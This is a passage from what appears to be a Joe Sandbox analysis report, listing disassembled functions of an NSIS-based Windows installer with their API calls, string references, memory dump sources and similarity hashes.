                                                                    • Opcode Fuzzy Hash: 48839086a200bf93aa32383a4ca0414da094928b154be734d4a38c22442d7c90
                                                                    • Instruction Fuzzy Hash: 0121C271500240EBD710ABA8DD88D9B3B6CEB06334B118336F52ABA1E1D7389D85C7AC
                                                                    Function 00402E55 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 103memoryfileCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,000000F0), ref: 00402EA9
                                                                    • GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,?,000000F0), ref: 00402EC5
                                                                    • GlobalFree.KERNEL32(FFFFFD66), ref: 00402EFE
                                                                    • WriteFile.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,000000F0), ref: 00402F10
                                                                    • GlobalFree.KERNEL32(00000000), ref: 00402F17
                                                                    • CloseHandle.KERNEL32(?,?,?,?,?,000000F0), ref: 00402F2F
                                                                    • DeleteFileW.KERNEL32(?), ref: 00402F56
                                                                    Strings
                                                                    • created uninstaller: %d, "%s", xrefs: 00402F3B
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: Global$AllocFileFree$CloseDeleteHandleWrite
                                                                    • String ID: created uninstaller: %d, "%s"
                                                                    • API String ID: 3294113728-3145124454
                                                                    • Opcode ID: 43406d439bebe3a41a7ad8946693a81c25abcec0bebba575c0e34f0bdeff8a90
                                                                    • Instruction ID: bd1c3f70b2adfd396ae192ad3b35d3c6df9fc0ba6a3ee2c413e2f7d1cf6bca0f
                                                                    • Opcode Fuzzy Hash: 43406d439bebe3a41a7ad8946693a81c25abcec0bebba575c0e34f0bdeff8a90
                                                                    • Instruction Fuzzy Hash: CF319E72800115ABDB11AFA9CD89DAF7FB9EF08364F10023AF515B61E1C7394E419B98
                                                                    Function 004023F0 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 83libraryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetModuleHandleW.KERNEL32(00000000,00000001,000000F0), ref: 0040241C
                                                                      • Part of subcall function 00404F9E: lstrlenW.KERNEL32(00445D80,004241C1,771B23A0,00000000), ref: 00404FD6
                                                                      • Part of subcall function 00404F9E: lstrlenW.KERNEL32(004034E5,00445D80,004241C1,771B23A0,00000000), ref: 00404FE6
                                                                      • Part of subcall function 00404F9E: lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,004241C1,771B23A0,00000000), ref: 00404FF9
                                                                      • Part of subcall function 00404F9E: SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
                                                                      • Part of subcall function 00404F9E: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
                                                                      • Part of subcall function 00404F9E: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
                                                                      • Part of subcall function 00404F9E: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059
                                                                      • Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
                                                                      • Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3
                                                                    • LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 0040242D
                                                                    • FreeLibrary.KERNEL32(?,?), ref: 004024C3
                                                                    Strings
                                                                    • Error registering DLL: Could not initialize OLE, xrefs: 004024F1
                                                                    • `G, xrefs: 0040246E
                                                                    • Error registering DLL: %s not found in %s, xrefs: 0040249A
                                                                    • Error registering DLL: Could not load %s, xrefs: 004024DB
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: MessageSendlstrlen$Library$FreeHandleLoadModuleTextWindowlstrcatwvsprintf
                                                                    • String ID: Error registering DLL: %s not found in %s$Error registering DLL: Could not initialize OLE$Error registering DLL: Could not load %s$`G
                                                                    • API String ID: 1033533793-4193110038
                                                                    • Opcode ID: dfa9fb55bab39987c49c05a208fb72d841c7d3de21fe9f712437cd20c315518e
                                                                    • Instruction ID: ac94b2829880799def153f2ab6d9fb01897d962df66ba524602deb4d09d833fb
                                                                    • Opcode Fuzzy Hash: dfa9fb55bab39987c49c05a208fb72d841c7d3de21fe9f712437cd20c315518e
                                                                    • Instruction Fuzzy Hash: AE21A635A00215FBDF20AFA1CE49A9D7E71AB44318F30817BF512761E1D6BD4A80DA5D
                                                                    Function 0040324C Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 40timeCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • SetTimer.USER32(?,00000001,000000FA,00000000), ref: 0040326A
                                                                    • MulDiv.KERNEL32(00018C00,00000064,006DEB66), ref: 00403295
                                                                    • wsprintfW.USER32 ref: 004032A5
                                                                    • SetWindowTextW.USER32(?,?), ref: 004032B5
                                                                    • SetDlgItemTextW.USER32(?,00000406,?), ref: 004032C7
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: Text$ItemTimerWindowwsprintf
                                                                    • String ID: fm$verifying installer: %d%%
                                                                    • API String ID: 1451636040-2236566115
                                                                    • Opcode ID: 3861699fe6b90eb98aefdbb76a6aac10e2c6ef9ed100297db3f2db1cf1739afe
                                                                    • Instruction ID: b5f4dff99bd495ec87a9693a0662ffae913500554fa258d9a040327637eece45
                                                                    • Opcode Fuzzy Hash: 3861699fe6b90eb98aefdbb76a6aac10e2c6ef9ed100297db3f2db1cf1739afe
                                                                    • Instruction Fuzzy Hash: F8014470640109BBEF109F60DC4AFEE3B68AB00309F008439FA05E51E1DB789A55CF58
                                                                    Function 00403DF6 Relevance: 12.1, APIs: 8, Instructions: 60COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetWindowLongW.USER32(?,000000EB), ref: 00403E10
                                                                    • GetSysColor.USER32(00000000), ref: 00403E2C
                                                                    • SetTextColor.GDI32(?,00000000), ref: 00403E38
                                                                    • SetBkMode.GDI32(?,?), ref: 00403E44
                                                                    • GetSysColor.USER32(?), ref: 00403E57
                                                                    • SetBkColor.GDI32(?,?), ref: 00403E67
                                                                    • DeleteObject.GDI32(?), ref: 00403E81
                                                                    • CreateBrushIndirect.GDI32(?), ref: 00403E8B
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
                                                                    • String ID:
                                                                    • API String ID: 2320649405-0
                                                                    • Opcode ID: 2cd1843f4009558aed8999710a19f2fd839bd0fd7577925b5fb66d8747ca327a
                                                                    • Instruction ID: 46e75ec11a9703e62b9e59528547c83071966f0b6f932d53464b5ad1ffaeee7a
                                                                    • Opcode Fuzzy Hash: 2cd1843f4009558aed8999710a19f2fd839bd0fd7577925b5fb66d8747ca327a
                                                                    • Instruction Fuzzy Hash: CA116371500744ABCB219F78DD08B5BBFF8AF40715F048A2AE895E22A1D738DA44CB94
                                                                    Function 00402238 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59synchronizationCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
                                                                      • Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3
                                                                      • Part of subcall function 00404F9E: lstrlenW.KERNEL32(00445D80,004241C1,771B23A0,00000000), ref: 00404FD6
                                                                      • Part of subcall function 00404F9E: lstrlenW.KERNEL32(004034E5,00445D80,004241C1,771B23A0,00000000), ref: 00404FE6
                                                                      • Part of subcall function 00404F9E: lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,004241C1,771B23A0,00000000), ref: 00404FF9
                                                                      • Part of subcall function 00404F9E: SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
                                                                      • Part of subcall function 00404F9E: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
                                                                      • Part of subcall function 00404F9E: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
                                                                      • Part of subcall function 00404F9E: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059
                                                                      • Part of subcall function 00405C6B: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00461DD0,Error launching installer), ref: 00405C90
                                                                      • Part of subcall function 00405C6B: CloseHandle.KERNEL32(?), ref: 00405C9D
                                                                    • WaitForSingleObject.KERNEL32(?,00000064,00000000,000000EB,00000000), ref: 00402288
                                                                    • GetExitCodeProcess.KERNEL32(?,?), ref: 00402298
                                                                    • CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00402AF2
                                                                    Strings
                                                                    • Exec: failed createprocess ("%s"), xrefs: 004022C2
                                                                    • Exec: command="%s", xrefs: 00402241
                                                                    • Exec: success ("%s"), xrefs: 00402263
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: MessageSendlstrlen$CloseHandleProcess$CodeCreateExitObjectSingleTextWaitWindowlstrcatwvsprintf
                                                                    • String ID: Exec: command="%s"$Exec: failed createprocess ("%s")$Exec: success ("%s")
                                                                    • API String ID: 2014279497-3433828417
                                                                    • Opcode ID: 6019f50a09c3a98591d7ac19e214774b8a762e16cd0fcb62cdb4911ff5dda7cf
                                                                    • Instruction ID: 042007ee205ef60e30064d08c60082207347e2967af2fac5581f577c4c1081ae
                                                                    • Opcode Fuzzy Hash: 6019f50a09c3a98591d7ac19e214774b8a762e16cd0fcb62cdb4911ff5dda7cf
                                                                    • Instruction Fuzzy Hash: 4E11A332504115EBDB01BFE1DE49AAE3A62EF04324B24807FF502B51D2C7BD4D51DA9D
                                                                    Function 0040487A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404895
                                                                    • GetMessagePos.USER32 ref: 0040489D
                                                                    • ScreenToClient.USER32(?,?), ref: 004048B5
                                                                    • SendMessageW.USER32(?,00001111,00000000,?), ref: 004048C7
                                                                    • SendMessageW.USER32(?,0000113E,00000000,?), ref: 004048ED
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: Message$Send$ClientScreen
                                                                    • String ID: f
                                                                    • API String ID: 41195575-1993550816
                                                                    • Opcode ID: dd0771fa492b48a0b3c5816c4430d79e7bf8162a268c2264a59d8032563336e2
                                                                    • Instruction ID: ebefa7930bdcd0e41c689069c6d494cf412fee4c497549fa98469d3d4217857c
                                                                    • Opcode Fuzzy Hash: dd0771fa492b48a0b3c5816c4430d79e7bf8162a268c2264a59d8032563336e2
                                                                    • Instruction Fuzzy Hash: 7A019E72A00219BAEB00DB94CC85BEEBBB8AF44710F10412ABB10B61D0C3B45A058BA4
                                                                    Function 00406064 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • CharNextW.USER32(?,*?|<>/":,00000000,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060C7
                                                                    • CharNextW.USER32(?,?,?,00000000), ref: 004060D6
                                                                    • CharNextW.USER32(?,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060DB
                                                                    • CharPrevW.USER32(?,?,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060EF
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: Char$Next$Prev
                                                                    • String ID: *?|<>/":
                                                                    • API String ID: 589700163-165019052
                                                                    • Opcode ID: 45da571b5baffeb551c3f596f843ba1ccba930a874212f5238eaf5e1151c3a30
                                                                    • Instruction ID: be175804d259169a812840791ea7ca7df426672d81dd27f3292f2fdf866f60ab
                                                                    • Opcode Fuzzy Hash: 45da571b5baffeb551c3f596f843ba1ccba930a874212f5238eaf5e1151c3a30
                                                                    • Instruction Fuzzy Hash: E311C81188022159DB30FB698C4497776F8AE55750716843FE9CAF32C1E7BCDC9182BD
                                                                    Function 00401EB9 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 78COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042
                                                                    • GlobalFree.KERNEL32(00000000), ref: 00402387
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: FreeGloballstrcpyn
                                                                    • String ID: Exch: stack < %d elements$Pop: stack empty$open
                                                                    • API String ID: 1459762280-1711415406
                                                                    • Opcode ID: f687fe266335390464c7bf33a5a6109902a608d988a78738c483845962ee8b52
                                                                    • Instruction ID: 50a08f61e59307d203ec8fda99e8a78aa4432658e9e299f93ea532572e85a124
                                                                    • Opcode Fuzzy Hash: f687fe266335390464c7bf33a5a6109902a608d988a78738c483845962ee8b52
                                                                    • Instruction Fuzzy Hash: 4921FF72640001EBD710EF98DD81A6E77A8AA04358720413BF503F32E1DB799C11966D
                                                                    Function 0040149D Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 004014BF
                                                                    • RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 004014FB
                                                                    • RegCloseKey.ADVAPI32(?), ref: 00401504
                                                                    • RegCloseKey.ADVAPI32(?), ref: 00401529
                                                                    • RegDeleteKeyW.ADVAPI32(?,?), ref: 00401547
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: Close$DeleteEnumOpen
                                                                    • String ID:
                                                                    • API String ID: 1912718029-0
                                                                    • Opcode ID: 2a270dabeadf4e4f1a4763114e85c5fdf2352e77b68d80cc92c62b7e226f3bc1
                                                                    • Instruction ID: c67b0bc93acae55c3864b02ebd95f02f7c15995ce12be8144693d1f813214158
                                                                    • Opcode Fuzzy Hash: 2a270dabeadf4e4f1a4763114e85c5fdf2352e77b68d80cc92c62b7e226f3bc1
                                                                    • Instruction Fuzzy Hash: EB117976500008FFDF119F90ED859AA3B7AFB84348F004476FA0AB5070D3358E509A29
                                                                    Function 004022FD Relevance: 7.6, APIs: 5, Instructions: 56memoryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetFileVersionInfoSizeW.VERSION(00000000,?,000000EE), ref: 0040230C
                                                                    • GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 0040232E
                                                                    • GetFileVersionInfoW.VERSION(?,?,?,00000000), ref: 00402347
                                                                    • VerQueryValueW.VERSION(?,00409838,?,?,?,?,?,00000000), ref: 00402360
                                                                      • Part of subcall function 00405F7D: wsprintfW.USER32 ref: 00405F8A
                                                                    • GlobalFree.KERNEL32(00000000), ref: 00402387
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: FileGlobalInfoVersion$AllocFreeQuerySizeValuewsprintf
                                                                    • String ID:
                                                                    • API String ID: 3376005127-0
                                                                    • Opcode ID: 606da6def6221d12ef1392d662ca92edf1c337adf5941d48ecd243ca57024968
                                                                    • Instruction ID: 214764af72b390ffa64cdeb44d1c6cd0e8ca06a9e3a7070d0c65f9f565939ffa
                                                                    • Opcode Fuzzy Hash: 606da6def6221d12ef1392d662ca92edf1c337adf5941d48ecd243ca57024968
                                                                    • Instruction Fuzzy Hash: 0D112572A0010AAFDF00EFA1D9459AEBBB8EF08344B10447AF606F61A1D7798A40CB18
                                                                    Function 00402B23 Relevance: 7.6, APIs: 5, Instructions: 54memoryfilestringCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GlobalAlloc.KERNEL32(00000040,00002004), ref: 00402B2B
                                                                    • WideCharToMultiByte.KERNEL32(?,?,004100F0,000000FF,?,00002004,?,?,00000011), ref: 00402B61
                                                                    • lstrlenA.KERNEL32(?,?,?,004100F0,000000FF,?,00002004,?,?,00000011), ref: 00402B6A
                                                                    • WriteFile.KERNEL32(00000000,?,?,00000000,?,?,?,?,004100F0,000000FF,?,00002004,?,?,00000011), ref: 00402B85
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: AllocByteCharFileGlobalMultiWideWritelstrlen
                                                                    • String ID:
                                                                    • API String ID: 2568930968-0
                                                                    • Opcode ID: 8e94f5e6955cf742f0be7e70fe548515adb6d38661ae1e1cc5866dac39eea37a
                                                                    • Instruction ID: eb70b36e00a6049791e454e439637436730f967712bedb277b0d85a94317bb29
                                                                    • Opcode Fuzzy Hash: 8e94f5e6955cf742f0be7e70fe548515adb6d38661ae1e1cc5866dac39eea37a
                                                                    • Instruction Fuzzy Hash: 7F016171600205FFEB14AF60DD4CE9E3B78EB05359F10443AF606B91E2D6799D81DB68
                                                                    Function 0040209F Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetDlgItem.USER32(?), ref: 004020A3
                                                                    • GetClientRect.USER32(00000000,?), ref: 004020B0
                                                                    • LoadImageW.USER32(?,00000000,?,?,?,?), ref: 004020D1
                                                                    • SendMessageW.USER32(00000000,00000172,?,00000000), ref: 004020DF
                                                                    • DeleteObject.GDI32(00000000), ref: 004020EE
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: ClientDeleteImageItemLoadMessageObjectRectSend
